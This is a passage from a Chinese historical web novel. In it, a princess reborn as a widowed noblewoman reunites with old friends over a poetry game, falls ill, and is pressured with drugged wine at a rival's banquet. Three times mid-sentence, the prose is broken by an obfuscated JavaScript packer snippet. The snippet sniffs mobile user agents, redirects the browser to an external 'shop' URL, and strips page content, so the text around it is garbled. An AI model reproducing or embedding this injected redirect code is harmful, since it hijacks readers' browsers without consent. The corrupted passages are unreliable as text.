“只是出来骑马散心。”李妙仪打断他,“琬琬玩得高兴,我也跟着走了几圈,不觉走远了些。” 郑淮序深深看了她一眼,似要将她强作镇定的模样刻进心里。片刻,他只答了一个字:“是。” 这时,郑华琬骑着她的那匹小白马,由三郎牵着,已出现在了林间小径的那头,正朝这边张望,小脸上尽是欢快与好奇。 “二哥!大嫂!你们在这里呀!让我们好找!” 郑淮序转身朝他们走去,步伐稳健,仿佛树上那场失控从未发生。只有他自己知道,有什么已彻底不同,在他心里烧出了一片焦土,也种下了一颗更执拗的种子。 李妙仪站在原地,看了看自己的掌心。林中风起,卷起落叶盘旋,吹散了方才的旖旎与惊悸。 身份是盾牌,也是牢笼。而她,似乎正眼睁睁看着某些东西失控,连着自己的心,一并坠向未知的深渊。 27. 重逢 马蹄踏出林间时,李妙仪几乎错觉方才那场惊心动魄是场幻梦。 郑淮序策马在她右侧,神色已与平常无二,丝毫看不出方才失控的痕迹。 郑华琬骑着她的小白马欢快地走在最前头,不时回头笑着与三郎说话。 “二哥,嫂嫂,你们刚才看见那片橡树林了吗?我听马场的师傅说,秋天的时候那里满地都是橡果,松鼠会拖回树洞里存着呢!” 李妙仪勉强笑了笑:“看见了,等秋天你再来时,就能见到了。” 走出林地,眼前豁然开朗。马场边缘的空地上,不知何时聚了一群衣着鲜亮的年轻男女。他们各自牵着或骑着名贵的骏马,鞍鞯华丽,镶金嵌玉。 几匹马的旁边还支起了小巧的几案,摆着酒壶杯盏,几个人正驻马而饮,笑语喧哗。 李妙仪一眼就认出了那些人。 最显眼的是那个穿宝蓝色骑装的少年,是兵部尚书府的小公子沈子瑜,正仰头灌下一杯酒,笑得张扬肆意。他身旁那个挽着双髻、一身鹅黄衣裙的是礼部侍郎之女柳如茵,此刻正用帕子掩着嘴笑。还有太常寺少卿家的公子陈文远,以及翰林院学士之女林晚照…… 这些面孔,李妙仪太熟悉了。 从前她性子养得野,常常偷溜出宫,混迹在这群人中间。春游踏青,夏日泛舟采莲,秋日围猎,冬日煮雪烹茶。他们都是京中高门里最受宠的那一批,不必过早承担家族重任,有的是时间寻欢作乐。 郑淮序向来是不与他们为伍的,他课业繁重,还要习武练剑,鲜少有时间参与这些“不务正业”的游乐。 但很奇怪,李妙仪从前在众人间提及最多的人,却是他。 “你们不知道,郑淮序前日又得了太傅夸赞。” “他那匹新得的乌骓马,瞧着真好,不知道能不能抢过来。” “莫让我舞剑了,郑淮序那把剑舞得才叫好看,你们都没见过。” 朋友们常打趣她:“安阳,你这么喜欢郑家二郎,不如求圣上赐婚算了!” 她总是红着脸嗔怪:“胡说什么!他天天板着张脸,碍我的眼,我是气不过才提他!” 如今想来,那些刻意的提起,那些口是心非的嗔怪,不过是少女心事最笨拙的掩饰。 “哎!那不是郑二郎吗?” 沈子瑜眼尖,率先发现了他们。他策马上前几步,眼睛一亮:“还真是!咦,这位是……” 他的目光落在李妙仪身上,先是惊艳,随即露出了然的神色:“是崔家姐姐吧?早听闻崔家姐姐才貌双全,今日一见,果然名不虚传。” 李妙仪含笑以作回应。 沈子瑜这混小子,向来在她面前最没规矩,常常直呼她“李妙妙”,如今却要恭恭敬敬叫一声“崔家姐姐”。 其余几人也围了过来。柳如茵上下打量着李妙仪,眼中闪过复杂的情绪,有好奇,还有一丝不易察觉的惋惜。 “崔姐姐,”柳如茵柔声道,“早想去府上探望你,又怕扰了你清净,今日能在这里遇见,真是缘分。” 陈文远也拱手道:“郑少夫人有礼,将军之事,我等都深感痛惜,还望少夫人保重。” 这些往日里嬉笑怒骂的朋友,此刻都换上了合乎礼仪的面具。李妙仪心中五味杂陈,微微颔首:“多谢各位挂怀。” 郑淮序这时才开口,声音平淡:“诸位今日好兴致。” “冬日无聊,凑个热闹罢了。”沈子瑜热情地邀请:“我们正玩曲水流觞呢,你们要不要一起来?今日天好,林子里还有条未冻的小溪。” 郑淮序眉头微蹙,显然不欲参与。但郑华琬已经兴奋地睁大了眼睛:“曲水流觞?我听过这游戏!二哥,我们能去吗?” 她扯着郑淮序的衣袖,满眼期待。 许是不想扫妹妹的兴,郑淮序沉默片刻,终是点了点头:“好。” 一行人牵着马,跟着沈子瑜他们往林子另一头走去。 那里果然有条潺潺流淌的小溪,溪边已被铺上了毡毯,摆好了矮几和蒲团。溪水清澈见底,几片枯叶随波逐流,倒也别有一番野趣。 “有郑家小妹在,咱们酒就免了,换茶吧!”柳如茵笑着张罗,“规矩照旧,接不上诗的受罚,不过惩罚得改改,不喝酒,改别的。” 普通的曲水流觞太过文雅无趣,李妙仪便带着这群人玩出了新花样:接不上诗的人要从竹筒里抽一支签,签上写着各式各样的惩罚,比如纵马跑三圈、当场烤个番薯分食、夸胜者十句不重样的美言、或在脸上画个符号直到游戏结束…… 她记得有一次,沈子瑜连输三局,脸上被画了只乌龟,硬是顶着那图案在盛京跑马一圈,成了好一阵子的笑谈。 “这个好玩!”郑华琬拍手笑道,“怎么罚呢?” “小妹别急,”陈文远笑着从马鞍袋里取出一个竹筒,里面果然插着许多竹签,“喏,惩罚都在这儿写着呢。” 那竹筒上还刻着一个小小的“妙”字,是当年她闲来无事时亲手刻的。 郑淮序的目光在上面停留了片刻,眸色深了深,薄唇抿成一条直线。 游戏开始了。 溪水上游,柳如茵将一个茶盏放入水中。茶盏顺流而下,停在谁面前,谁便要接上一句诗,首字须与前句末字同音。 第一轮,茶盏停在了林晚照面前,她从容接道:“溪流潺潺冬日暖。” 下一个是陈文远:“暖阁香炉生紫烟。” 茶盏继续漂流,经过郑华琬时,小姑娘紧张地屏住呼吸,幸而茶盏没停,她松了口气,吐了吐舌头。 茶盏缓缓停在李妙仪面前。 所有人的目光都聚了过来,崔令言才女之名在外,众人都想看看她如何应对。 她深吸一口气,脑中飞快搜索着记忆库,幸而崔令言确实博览群书,诗词储备丰富。她略一思索,轻声道:“烟波江上使人愁。” “好!”沈子瑜第一个喝彩,“崔姐姐果然名不虚传!” 茶盏继续往下,几轮过后,气氛渐渐活络起来。虽然大家都端着些礼节,但游戏本身的趣味逐渐让人放松。 郑华琬虽不参与接诗,却看得津津有味,不时小声问李妙仪这句诗什么意思,那句诗出自何处。 第二轮,李妙仪又顺利接上了。她小心地选择着诗句,尽量用崔令言可能会用的典雅词句,避□□露出自己从前那种恣意的风格。 但到了第三轮,变故发生了。 茶盏停在了柳如茵面前时,她正要开口,却忽然卡住了。前一句的末字是“绝”,同音字虽多,但要在瞬间想出一句合宜的诗,并非易事。 柳如茵蹙眉想了片刻,终是叹了口气:“我接不上。” “抽签!抽签!”沈子瑜起哄道。 柳如茵从竹筒中抽出一支签,展开念道:“‘剖白自己后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196029|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悔的一件事’……”她怔了怔,苦笑,“这惩罚倒比画脸还难。” 众人都安静下来,等着听她说。 柳如茵摩挲着竹签,沉默良久,才轻声道:“我最后悔的事,是那年围猎时,没有陪在安阳身边。” 李妙仪的心猛地一跳。 “那日她情绪不太对劲,策马便往外走,说想自己一个人待着。”柳如茵的声音有些发颤,“我该跟上去的,可想着安阳的骑术在我们之间最佳,又是在皇家猎场,侍卫众多,不会出什么问题。而且……而且她那日似乎心情不好,我怕跟上去反而惹她烦……” 她抬起眼,眼中已有了泪光:“若我跟上去了,或许能拉住她。至少,不会让她一个人……” 林中一片寂静,风声穿过枯枝,发出呜咽般的声响。李妙仪紧紧攥着衣袖,指节发白。 “别说这些了,”陈文远打破了沉默,“都是过去的事了。如茵,你也别太自责,那是意外。” “是啊,”沈子瑜也闷声道,“妙妙她那样的人,决定的事,谁也拦不住。她那日走时,还说‘去去就回’,谁知道……” 谁知这一去,竟成了永别。 郑淮序始终沉默着,他的目光落在溪水上,下颌微微收紧。李妙仪看不清他的表情,却能感觉到他身上散发出的那股压抑的气息。 “好了好了,继续游戏!”林晚照强打起精神,将茶盏重新放入溪中,“别坏了兴致,安阳公主最爱热闹,定是不愿看我们这般消沉。” 游戏继续,之后有人抽到“纵马跑一圈”,有人抽到“学三声鸟叫”。 子瑜抽到“夸在座一位公子十句好话”,他毫不犹豫选了郑淮序,抓耳挠腮道:“郑二郎剑法好、学问好、骑术好、长得也好……呃,人品也好!” 众人哄笑,连郑淮序的唇角都几不可察地弯了一下。 气氛重新活跃起来。 李妙仪也渐渐放开了,下一次茶盏停在她面前,前句末字是“欢”,她脱口而出:“欢娱不惜时光逝。” 说完才意识到,这句诗的风格太像从前的自己了。她忐忑地偷瞄了眼郑淮序,发现他只是垂着眼,看不出什么反应。 倒是沈子瑜笑道:“崔姐姐这句倒是豁达,不像一般闺阁诗作。” 李妙仪忙掩饰道:“随口胡诌的,让各位见笑了。” 游戏进行到后半段,李妙仪妙语连连,偶尔点评诗句时,见解独到,引得众人赞叹。 一时间,林间笑语盈盈,连郑华琬都听得入了迷,不时拍手叫好。小姑娘悄悄凑到李妙仪耳边说:“嫂嫂,你好厉害呀,懂得真多。” 郑淮序话很少,只偶尔接一两句诗。他的诗句总是工整严谨,一如他这个人。 日头西斜时,游戏终于结束。众人意犹未尽,沈子瑜提议:“下次咱们约个时间,去西郊梅园如何?听说那里的红梅开得正好,正适合煮酒赏花。” “好啊!”柳如茵第一个响应,“崔姐姐也一起来吧?咱们可以再玩些别的游戏。” 李妙仪正要答应,忽然想起自己的身份,只得委婉道:“若得空,定当赴约。” 临别前,陈文远忽然感慨道:“咱们这群人已经许久没有这般畅快了,今日倒像是回到了从前。” 众人都沉默了,风卷起地上的枯叶,打着旋儿飘向远处。夕阳将每个人的影子拉得很长,交织在一起,又各自分开。 28. 生病 回府的马车上,郑华琬玩累了,窝在李妙仪怀中沉沉睡去。小姑娘的呼吸均匀绵长,脸颊红扑扑的,嘴角还带着笑意,不知梦见了什么开心事。 李妙仪轻轻揽着她,有一下没一下地抚着她细软的头发,心头的惊涛骇浪却与这宁静的暖意格格不入。 方才在席间,她几次想向旧友们打听自己坠崖当日的细节。可她不敢问,郑淮序就在身边,他太敏锐了,任何一丝不寻常的追问都可能引起他的怀疑。 她只能将满腹疑问压在心里,听着那些真诚的唏嘘,感受着那份属于“安阳”的怀念,心中既温暖又酸楚。 李妙仪终究高估了这具身体。 崔令言毕竟不是她前世那副纵马挽弓、攀墙跃脊的筋骨。白日林间吹了风,马背一路颠簸,加之与旧友重逢心绪起伏,当夜便发起了高热。 回房时只觉头脑晕沉,她并未在意,只当是乏了,以为睡一觉便好。谁知到了半夜,先是一阵透骨寒颤,继而烧得浑身滚烫,咽喉如灼,咳得撕心裂肺。 意识浮沉之际,坠崖那日的记忆碎片,终于冲破了某种无形的禁锢,蛮横地扎进她的脑海。 风声,凛冽到近乎凄厉的风声,灌满了双耳。胯下骏马惊惧地长嘶,速度已然到了极限。身后的马蹄声如附骨之疽,越来越近。 更可怕的是箭矢破空的尖啸,不止一次擦着她的身侧掠过,有一支甚至贴着她的鬓边飞过,几缕被风扬起的发丝悄然飘落。 “安阳,你逃不掉!” 男人的声音,裹挟着扭曲的恨意与快意,被狂风撕扯着,断断续续传来。她不敢回头,只死死伏低身子,用尽全身力气扬鞭策马。 拐过山道弯口,本该是坦途的前方,竟赫然横着绊马索!勒缰已来不及,骏马悲鸣着前蹄扬起,巨大的惯性将她整个人抛飞出去。 紧接着,失重的恐惧猛然攫住心脏,视野被嶙峋的山石和飞速掠过的枯枝填满,而后,万物归于黑暗。 “咳咳……咳咳咳!” 又一次几乎窒息的剧烈咳嗽将李妙仪拽回现实。她艰难地睁开眼,帐顶熟悉的缠枝莲纹在昏黄的烛光里晃动,空气里弥漫着清苦的药味。 “少夫人,您可算醒了!”守在床边的青鸾急忙起身,拧了温帕子,轻柔地擦拭她额上密密的虚汗,“您烧得骇人,整整两个时辰人都迷糊着,一直在说胡话,可吓坏奴婢了。” 这时,府医隔着纱帐请了脉,才对闻讯赶来的国公夫人躬身道:“夫人,少夫人此乃外感风寒,邪气袭表,又因白日劳神,内蕴郁热,邪气入里,以致高热惊悸。老朽已开了疏风散寒、清心定惊的方子,按时服用,静心调养,应无大碍。只是……” “只是什么?”国公夫人语带急切,目光忧虑地投向帐内。 府医捋了捋胡须,沉吟道:“少夫人底子终究偏弱,且心绪沉郁。此番病势虽可退去,却如抽丝剥茧,恐需精细调理一段时日。万不可再劳神伤体,受风受寒。” 国公夫人神色稍松,连声吩咐下人煎药。她走至床边,眼中满是疼惜:“昨日出门我就悬着心,琬琬那丫头也是,定是她缠着你疯闹,才累你吹了风。” “劳母亲挂心,是儿媳的不是。”李妙仪嗓音沙哑,欲撑身坐起行礼,却被国公夫人轻轻按回枕上。 “快躺好,别说这些傻话。”国公夫人将她手塞回被中,又仔细掖了掖被角,“你肯出去散心,我心里是欢喜的。只是下回须得多添件衣裳,戴好风帽。” 药很快煎好送来。青鸾端上前,黑褐药汁热气氤氲,苦味扑鼻。 李妙仪从前最怕服药。每回生病,母后总要哄上好半天,许下无数玩赏诺言,还得备足蜜饯糖丸。此刻望着那碗浓稠的药汁,她下意识地蹙紧了眉头。 这细微的表情没能逃过国公夫人的眼睛。 她摆摆手屏退丫鬟,端起药碗先试了试温度,这才在床沿重新坐下,舀起一勺,轻轻递到李妙仪唇边。 李妙仪蓦地一怔。 “来,良药苦口,趁热喝,凉了更苦。”国公夫人声音柔和,目光慈蔼。 李妙仪眼睫微颤,终是启唇,将那一勺药汁含入。苦涩霎时在舌尖炸开,迅速滑过咽喉,她不由自主地皱紧了脸,胃里一阵翻涌。 国公夫人似未察觉她的异样,直到碗底见空,从怀中取出枚小巧锦囊,倒出一颗蜜饯,送至她嘴边:“含这个压压苦味。” 李妙仪含住那颗蜜饯,清甜渐渐在口中化开,冲淡了盘踞在舌根的苦涩。 她望着国公夫人,忽然想起前世病中,母后也是这样一勺勺喂药,喂完便会像变戏法似的,从袖中摸出一颗松子糖或玫瑰脯,塞进她嘴里,柔声哄道:“妙妙乖,吃了药病就好了。” 国公夫人放下药碗,却未立即离开。她静默地坐在床沿,片刻后,才低声开口:“令言,济川的事,是郑家对不住你。” 李妙仪心口一颤,抬眸望去。 烛光下,国公夫人眼中蓄着的歉疚几乎要满溢出来:“外头那些闲言碎语,说你命硬克夫、道你不祥,我都知道。可我心里清楚,是济川自己选了那条路,是他身为人臣、身为将领的责任。归根结底,是郑家没能护他周全,也连累了你。” 她喉间微哽,顿了顿方继续道:“你还这样年轻,往后的日子还长得很。等过了热孝,你若愿意,大可另寻良缘。我虽私心舍不得你这样好的孩子,却绝不能误你一生。” 大雍朝风气确算开明,女子守寡后改嫁并非罕事,高门望族中亦不乏先例。但她万万没想到,国公夫人会主动提及此事。这不仅是开明,更是真心实意为她着想。 “母亲,我……”她张了张口,却不知该说什么。 她不是崔令言,怎能顶着这身份另嫁?更何况,坠崖真相未明,真凶仍隐匿在暗处。她自己的前路尚且一片混沌,何谈其他? 国公夫人以为她是顾虑世俗眼光,声音愈发怜惜:“你且宽心。若将来真有合意之人,母亲必让你以郑家女儿的身份出嫁,嫁妆也绝不短半分,郑家欠你的……” “母亲千万别这么说。”李妙仪终于找回声音,“郑家不曾亏欠我,世子是为国捐躯,我虽悲痛,却也为他骄傲。” 这话半真半假。她敬郑淮舟是真,可她终究不是崔令言,无法真正体会与爱人死别的切肤之痛。这番认知,反而让国公夫人此刻毫无保留的诚挚与怜惜,更如烙铁般烫在她的心上,生出无尽愧怍。 倘若国公夫人知道,她与郑淮序之间那些说不清道不明的纠葛。 倘若她知道,自己并非真正的崔令言,而是占了她儿媳身体的孤魂。 李妙仪不敢再深想下去。 国公夫人叹了口气,轻轻将她搂进怀里:“好孩子,苦了你了。” 这怀抱温暖而坚实,带着母亲身上特有的柔软气息。恍惚间,她仿佛回到了幼时,母后也是这样抱着生病的她,哼着软糯的江南小调,直到她沉入安稳的梦乡。 强忍多时的泪水,终于在这一刻决堤,无声地涌出。 “怎么哭了?是身上还难受得紧?”国公夫人忙松开些,捧着她的脸查看,“不哭不哭,母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200388|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这儿呢,没事了。” 房门就在这时被推开一条缝,郑华琬的小脑袋探进来,见母亲搂着嫂嫂,而嫂嫂泪痕满面,顿时急了:“嫂嫂!嫂嫂你怎么了?” 她噔噔跑进来,手脚并用地爬上床榻,钻进国公夫人与李妙仪之间,伸出小手为李妙仪拭泪:“嫂嫂不哭,琬琬给你呼呼,痛痛飞走!病病也飞走!” 李妙仪望着眼前景象,泪意更涌。那些梦中的孤寂与恐惧,已经被这质朴的温暖,悄悄融化了一角。 国公夫人一手搂着她,一手拢着女儿,含笑轻叹:“瞧,咱们琬琬都知道心疼嫂嫂了。” 郑华琬挺起小胸膛,颇为自豪:“那当然!我最喜欢嫂嫂了!” 孩子气的比拟驱散了满室沉郁,李妙仪忍不住破涕为笑,伸手将软乎的小姑娘搂紧了些。 三个女子,便这般静静偎在一处。晨光穿过窗棂,悄然漫入室内,将依偎着的三个身影,都染上了一层毛茸茸的暖金色。 白日喧嚣尽褪,夜色重新笼罩国公府。李妙仪的烧退了大半,但病去如抽丝,人依旧倦怠虚弱,喝了点清淡的粥水后,便又昏昏沉沉地睡了。 夜深时分,郑淮序悄然推开了厢房的门。他一身墨色常服,脚步极轻,落在房内厚软的地毯上,未发出丝毫声响。 屋内烛火已熄,只余一缕清浅的月光,透过糊着软烟罗的纱窗,朦朦胧胧地映照进来。 他在离床榻三步之遥处驻足,借着这微弱的月光,静静凝望。 榻上之人呼吸比白日平稳了许多,高热显然已退。只是脸色依旧苍白,眉尖微微蹙着,即使在睡梦中,似乎也不得安宁。 郑淮序的视线久久停留在她的眉眼之间。两副皮囊,确无半点相似之处。安阳公主眉眼昳丽,顾盼神飞,是那种极具攻击性的、灼灼如烈日牡丹的美;而崔令言,则是清婉如水中月,柳眉杏目,楚楚堪怜。 他不由自主地伸出手,指尖悬在她眉眼上方,隔着咫尺的距离,轻轻描摹那轮廓。 那偶尔蹙眉时,眉宇间掠过的、与柔弱外表不符的凌厉与果决…… 那沉思时,指尖无意识捻动袖口或衣带的小动作…… 太像了,像得让他心惊,让他生出不该有的的悸动与希冀。他闭了闭眼,正欲收回手。 榻上的人忽然动了。 李妙仪陷在了更深的梦魇里。坠崖的场景再次清晰浮现,这一次,她拼命地想回过头去,想看清身后那张脸。可那张面容始终笼在一片浓雾之后,无论她如何挣扎,都无法窥见分毫真容。 “谁……究竟是谁……”她额上渗出细密的冷汗,身体不安地微微扭动,破碎的呓语从唇间逸出。 郑淮序神色一紧,立即从旁侧盆中拧干一方布巾,倾身坐在榻边,轻轻为她擦拭额际与脖颈间的湿汗。 布巾微凉的触感让她稍得安抚,呓语渐低,紧蹙的眉头也略略舒展。 郑淮序动作未停,细心地将她汗湿的额发拨开,就在他以为这场惊悸将渐渐平息时,她唇间忽然溢出一声低唤—— “拢…月……” 郑淮序的手陡然僵在半空。 拢月。 这是安阳公主身边最得力的掌事宫女。自小陪伴公主长大,是公主最信任的心腹之人。崔令言怎么会知道拢月?又怎会在梦魇深处,无意识地唤出这个名字? 他维持着倾身的姿势,目光死死锁在她脸上,试图从那熟悉的轮廓里,找出更多蛛丝马迹。 最终,他为她重新掖好被角,悄无声息地退至门边,掩门离去。 29. 算计 李妙仪遵医嘱卧床静养,药汁一盅盅灌下去,高热虽退,但咳嗽缠绵不去,人也恹恹的,午后总要昏沉上几个时辰。 国公夫人每日必来探望,有时带着郑华琬。小姑娘如今乖巧了许多,时常用软乎乎的调子给她念些简单的故事,念错了便咯咯笑起来,倒驱散了不少病中寂寥。 郑淮序并未频繁出现,但她醒来时,总会发现床边小几上多了一碟梨膏糖,或是一卷笔触生动的山水游记,供她卧榻消遣。 东西送得低调,理由也妥当,但李妙仪心头的弦却越绷越紧。 这日精神稍振,她披了件月白绫子夹袄,靠在窗边榻上,慢慢翻着那本《滇南游记》。 帘子轻响,郑淮序提着一个小巧食盒走了进来。他今日穿了一身石青色直裰,玉冠束发,显得格外清俊挺拔。 “二郎。”李妙仪放下书,颔首致意,指尖却不自觉地捻紧了书页边缘。 “我让厨房炖了川贝雪梨盅,你趁热喝。”郑淮序将食盒放在榻边小几上,取出一个白瓷炖盅。 “有劳了。”李妙仪掀开瓷盖,舀了一勺送入口中。 梨肉炖得酥烂,川贝微苦后的回甘恰到好处,滋润了干痒的喉咙。 郑淮序在不远处的圈椅中坐下,目光落在她手边的书上:“这书可还入眼?笔者曾随商队深入西南,滞留苗疆三年,所述风物与中原大异,虽有些猎奇之笔,倒也开阔眼界。” “颇有趣味,”李妙仪谨慎答道,“尤其关于滇地苗疆的巫蛊之俗、山鬼祭仪,虽似荒诞不经,读来却引人遐思,仿佛别有一番天地秩序。” 她提及此,也是存了一丝试探,想看看他对这些“怪力乱神”之事的反应。 郑淮序眸光微动,顺着她的话道:“天地之大,无奇不有。有些事,常人视作荒谬,或许只因未能窥见其理,或囿于自身见识。” 他顿了顿,状似无意地问:“嫂嫂似乎对这些异闻颇感兴趣?我记得你案头还有本《拾遗记》,亦是记载奇人异事。” 李妙仪心头一跳,《拾遗记》是她前几日让青鸾寻来,想看看是否有类似“魂异”的记载,翻了几页便搁下了,他竟连这个都留意到。 “病中无聊,胡乱翻翻罢了。”她垂下眼睫,掩饰眸中情绪,“倒是二郎,似乎也涉猎甚广。公务已然繁忙,竟还有暇览阅这些杂书。” “身处其位,难免要多知道些。”郑淮序目不转睛看着她,“何况有时候,看似无关紧要的前朝秘史、宫廷旧闻,内里藏着的人心鬼蜮、利益纠葛,抽丝剥茧后,往往能拼凑出意想不到的真相。” 她抬眸迎上他的视线:“哦?不知二郎最近,可听闻什么有趣的旧闻?” “倒想起一桩,”郑淮序缓缓道,“听闻先帝在位时,敏慧长公主身边曾有位极擅制香的宫女,能以四季花卉调出仿若天成之味,甚至能复现某些已失传的宫廷古方。可惜后来长公主薨逝,那位宫女也不知所踪,其技近乎失传。” 他说的仿佛是宫廷旧闻,李妙仪却听出了弦外之音。敏慧长公主?那分明是她皇祖母的封号!而那位擅香的宫女,是皇祖母晚年极为依仗的一位姑姑。 郑淮序为何突然提起此人此事?是巧合,还是意有所指? “竟有此事?一门绝技系于一人之身,传承最是不易,湮没了着实令人扼腕。”李妙仪面上露出惋惜,将话题轻轻拨开,“说起香,我倒是记得母亲惯用的安神香,味道极好,闻之心神宁静,不知是否也是古方?” “那是太医院改良过的方子,母亲用了多年。”郑淮序从善如流,转而道,“你既喜欢,回头我让人再配些来。你病后睡眠不安,燃些安神香或有益处。” “如此,便多谢二郎费心了。”李妙仪微微颔首。 又闲谈几句,郑淮序才起身告辞。门帘落下,李妙仪却仿佛虚脱般,倚在软枕上,微微喘息。 郑淮序方才之言让她想起了拢月。 前世,她与拢月名为主仆,却情同姐妹。拢月不仅聪慧机警,更有一手易容改妆的绝活,且对她忠心不二,许多连父皇母后都不知道的私密事,拢月都知晓。 不知她如今在哪里,倘若她能找到拢月…… 这个念头一旦升起,便如荒原上的星火,瞬间燎原,再也无法遏制。 几日后,李妙仪咳嗽渐止,脸色也养回了几分红润。一份描金洒红的请柬,经由门房,送到了她的案头。 是吏部考功司周主事夫人设的“赏荷宴”。 时节虽未到荷花盛开,但周府别院以温泉地热闻名,建有巨大的琉璃暖房,内植四季花卉,此时暖房中引种的睡莲并蒂莲正值花期,倒也算个雅致名头。 青鸾捧着请柬,脸上满是忧虑:“少夫人,这周主事家的三公子,便是那日在云锦阁对您出言不逊的其中之一。奴婢打听过了,这位周夫人最是善于钻营,与齐王府走动甚密。这宴,怕是不安好心。” 李妙仪如何不知?周家此番递来请柬,她若推拒,显是露怯,更会助长对方气焰。她若赴宴,便是明知山有虎,偏向虎山行。 “无妨,”她将请柬轻轻合上,“既然人家诚意相邀,哪有不去之理?替我回了,届时必当叨扰。” 她需要了解这些齐王党羽的动向,周府,或许就是个开始。 赏荷宴那日,天色微阴。 李妙仪只带了青鸾和一个稳妥的婆子,乘着一顶青帏小轿,去了周府位于城西的别院。 别院果然气象不俗,朱门高墙,庭院深深。暖房以通透的琉璃为顶,内里温暖如春,奇花异草争妍斗艳,中央一池碧水,睡莲静静漂浮,几株并蒂莲尤为醒目。 宴席便设在水榭之中,四面通风,又设了炭盆暖炉,既可观景,又不觉寒冷。 到场的大多是些趋附齐王的中下层官员家眷,亦有几位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209134|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与周家交好的勋贵女眷。 李妙仪一出现,原本谈笑风生的水榭静了一瞬,无数道目光投了过来,带着打量、好奇,以及一丝难以掩饰的幸灾乐祸。 周夫人是个四十许的妇人,圆脸富态,穿金戴银,笑容热情得近乎夸张。 她亲自迎上来,一把拉住李妙仪的手,亲热得仿佛多年未见的手帕交:“哎哟,郑少夫人可算来了!早就想请你过府一叙,又怕你新寡不便。那日我家那个不成器的冲撞了你,今日这宴,一是赏花,二也是替他给你赔个不是!你可千万莫要往心里去!” 一番话说得滴水不漏,既表明了“赔罪”的立场,又将云锦阁之事轻描淡写为“冲撞”,更点出崔令言“新寡”的身份。 李妙仪心中冷笑,轻轻抽回手,福了一福:“小事而已,周夫人如此郑重,倒让晚辈惶恐。” “来,坐这儿,这儿视野好!”周夫人将她引到水榭中位置颇佳的一席,紧挨着几位看起来颇为体面的夫人。 席间很快又恢复了热闹,丝竹声起,穿着鲜亮的侍女们鱼贯而入,奉上精致茶点。 宴过三巡,气氛愈发活络。 周夫人与席间几位夫人轮番向李妙仪敬酒,言辞恳切,句句不离国公府门楣高贵、郑将军忠烈,又说崔氏女年轻守节实属不易,这杯酒是“敬国公府高义”、“慰少夫人辛劳”,仿佛她不喝,便是不识抬举,辜负了众人的好意。 李妙仪心知有异,一再婉拒,只以茶代酒。然而,几位夫人联手,你一言我一语,劝酒词说得天花乱坠,且音量不小,引得周遭宾客频频侧目。 她若一味强硬推拒,难免落人口实。 于是端起面前那只小巧的甜白釉酒杯,象征性地沾一沾唇,并不真饮。 直到周夫人亲自执壶,将李妙仪面前的酒杯再次斟满。 她脸上笑容更盛:“这一杯,少夫人定要饮尽。不敬别的,就敬郑淮舟将军为国捐躯、马革裹尸的忠烈英魂!将军在天有灵,也必欣慰有妻如此!这杯酒,少夫人若不饮,便是瞧不起我们这些真心敬仰将军的人!” 话说至此,已是将李妙仪架在了火上。满桌寂静,所有人都看着她。李妙仪却从那过于热切的眼神里,看到了毫不掩饰的恶意。 这杯酒,绝对有问题。但众目睽睽之下,她若强行不喝,立刻就会撕破脸。 电光火石间,她面上露出几分感动与哀戚,颤声道:“周夫人、诸位夫人如此厚意,缅怀先夫,令言感激不尽。” 她双手捧起那杯酒,却假借衣袖和身体角度的掩护,将大半杯酒液倾洒在了身侧的盆景之中,只余杯底浅浅一层。 这才仰起头,将剩余那点酒液一饮而尽,随即以袖掩面,轻咳两声,似是呛到,也似是悲从中来。 “好!少夫人爽快!”周夫人抚掌笑道,眼中那丝得逞的笑意再也掩饰不住,转而热情地招呼起其他客人。 30. 甘泉 宴席继续,李妙仪强打精神应付着左右夫人的寒暄,眼前的水榭灯火开始微微晃动、重叠。耳畔夫人们的说笑声忽远忽近,变得模糊不清。 不行,绝不能在这里失态。 她强压下喉间翻涌的不适感,又勉强支撑着坐了约半炷香的时间,才扶着额头,对周夫人歉然道:“周夫人,实在抱歉,许是久未饮酒,方才又吹了风,头竟晕沉得厉害,怕是不能再陪诸位夫人尽兴了。” 周夫人立刻放下酒杯,面上露出恰到好处的关切与遗憾:“哎呀,这才刚起兴呢!快快,我让人上盏热热的醒酒汤来,喝了兴许能好些。” 她说着便要吩咐丫鬟。 “不必劳烦了。”李妙仪借着青鸾搀扶的力道站起身,脚步虚浮,身形晃了一下,幸而及时扶住了桌沿,“我回府歇息片刻便好,扰了诸位雅兴,改日定当专程向夫人赔罪。” 周夫人见她去意坚决,也不再强留,亲自离席将她送到水榭门口,转头吩咐身边一个伶俐的丫鬟:“春杏,好生送郑少夫人到二门上轿,仔细扶着些,万不可有闪失!” “是,夫人。” 